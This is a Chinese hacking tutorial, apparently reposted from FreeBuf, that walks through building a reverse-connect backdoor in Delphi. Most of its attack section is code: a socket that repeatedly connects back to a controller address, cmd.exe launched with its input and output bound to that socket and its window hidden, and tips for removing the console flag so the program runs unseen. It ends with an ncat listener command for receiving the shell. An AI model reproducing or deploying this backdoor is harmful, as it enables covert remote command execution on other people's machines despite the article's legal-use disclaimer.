DELPHI黑客编程(二):反弹后门原理实现

栏目: 编程语言 · 发布时间: 7年前

*本文原创作者:5ecurity,本文属FreeBuf原创奖励计划,未经许可禁止转载

PS:本文仅作为技术讨论分享,严禁用于任何非法用途。

上一节主要是通过DELPHI实现了一个正向连接的后门,本节将给大家带来反向后门demo的原理演示。

一、反弹后门原理

所谓“反弹后门”是指被控机会主动发起对控制机的连接,控制机会监听本地端口等待被控机的连接,然后发送控制指令对被控机实施控制。反弹后门有个特点是需要控制机一般具备公网地址(或通过路由器端口映射将本地监听端口映射到公网),使得被控机及时在内网也可以反向连接到控制机,这也是常见的反弹木马的连接方式,如果后面有机会可以给大家简单实现一个带gui界面的反弹远控木马demo。

二、反弹后门功能

功能还是和上次的正向后门一样,实现命令执行功能。并完善上一节正向后门的窗体隐藏代码,上一节使用代码:

win:longint;

win:=getforegroundwindow; //获取当前窗体的句柄

showwindow(win,SW_HIDE);  //隐藏窗体

确实可以实现窗体隐藏,但是有的小伙伴反应,使用这种方法在后门运行的时候会有cmd窗口一闪而过,这样隐藏的就不彻底了,倒有一点“此地无银三百两”的意思了。其实作为命令行程序本身就没有窗体,主要是通过系统console执行,因此通过DELPHI创建“Console Application”的时候

DELPHI黑客编程(二):反弹后门原理实现

会在生成的代码中有如下标识:

{$APPTYPE CONSOLE}

DELPHI黑客编程(二):反弹后门原理实现

其实只要删除这部分代码,即可实现无窗体运行。但在测试的时候建议使用带窗体的程序,实际应用的时候删除代码重新编译即可。

三、反弹后门实现原理

首先,定义反弹的ip和端口,也就是控制机监听的地址和端口。

其次,创建socket套接字连接,使用connect进行反弹连接。

第三,创建进程,并实现进程与socket的通信,上一节使用的是匿名管道进行的进程通信,这一次我们用直接绑定socket的方式实现。

四、代码实现

1、定义反弹ip和端口

ip :pchar;      //定义反弹ip地址
port :integer;  //定义反弹端口

port :=9901;    //反弹端口赋值为9901
ip :='127.0.0.1'; //反弹ip地址为本机

2、创建socket套接字并连接反弹ip上次使用的是WSASTARTUP初始化连接,使用socket创建套接字。这次我们使用Winsock2库中的WSASocket初始化并创建,用Winsock2库的好处是初始化创建socket比较简单,而且还能减小程序的体积。

sock :TSocket;      //定义socket
sin :TSockAddrIn;   //定义sockaddr_in结构

//初始化并创建socket
sock :=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

//设置socket参数
sin.sin_family :=AF_INET;
sin.sin_port :=htons(port);
sin.sin_addr.s_addr :=inet_addr(ip);

//调用connect连接反弹地址
while (connect(sock,sin,sizeof(sin))<>0) do Sleep(30000);

3、创建进程并绑定socket

si :TStartupInfo;          //定义STARTUPINFO结构体
pi :TProcessInformation;   //定义PROCESS_INFORMATION结构体

ZeroMemory(@si, SizeOf(si));  //si清零

//si赋值
si.cb :=sizeof(si);
si.dwFlags :=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
si.wShowWindow :=SW_HIDE;

//下面这三个是将输入、输出、报错信息都绑定到socket上
si.hStdInput :=sock;
si.hStdOutput :=sock;
si.hStdError :=sock;

//创建命令执行进程
CreateProcess(nil,'cmd.exe',nil,nil,TRUE,CREATE_NEW_CONSOLE,nil,nil,si,pi);

五、使用方法

上面三步基本可以实现一个反弹后门演示demo,具体使用方法如下:

1、编译好反弹后门demo,生成fantan.exe文件

DELPHI黑客编程(二):反弹后门原理实现

可以看出体积比上一节的正向后门小了一半还多。

2、在控制机上运行ncat,监听本地9901端口使用命令:

ncat -vv -l -p 9001

DELPHI黑客编程(二):反弹后门原理实现

3、在被控机上运行反弹后门运行后,控制机上的ncat收到反弹连接,并可以正常执行命令。

DELPHI黑客编程(二):反弹后门原理实现


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Purely Functional Data Structures

Purely Functional Data Structures

Chris Okasaki / Cambridge University Press / 1999-6-13 / USD 49.99

Most books on data structures assume an imperative language such as C or C++. However, data structures for these languages do not always translate well to functional languages such as Standard ML, Ha......一起来看看 《Purely Functional Data Structures》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换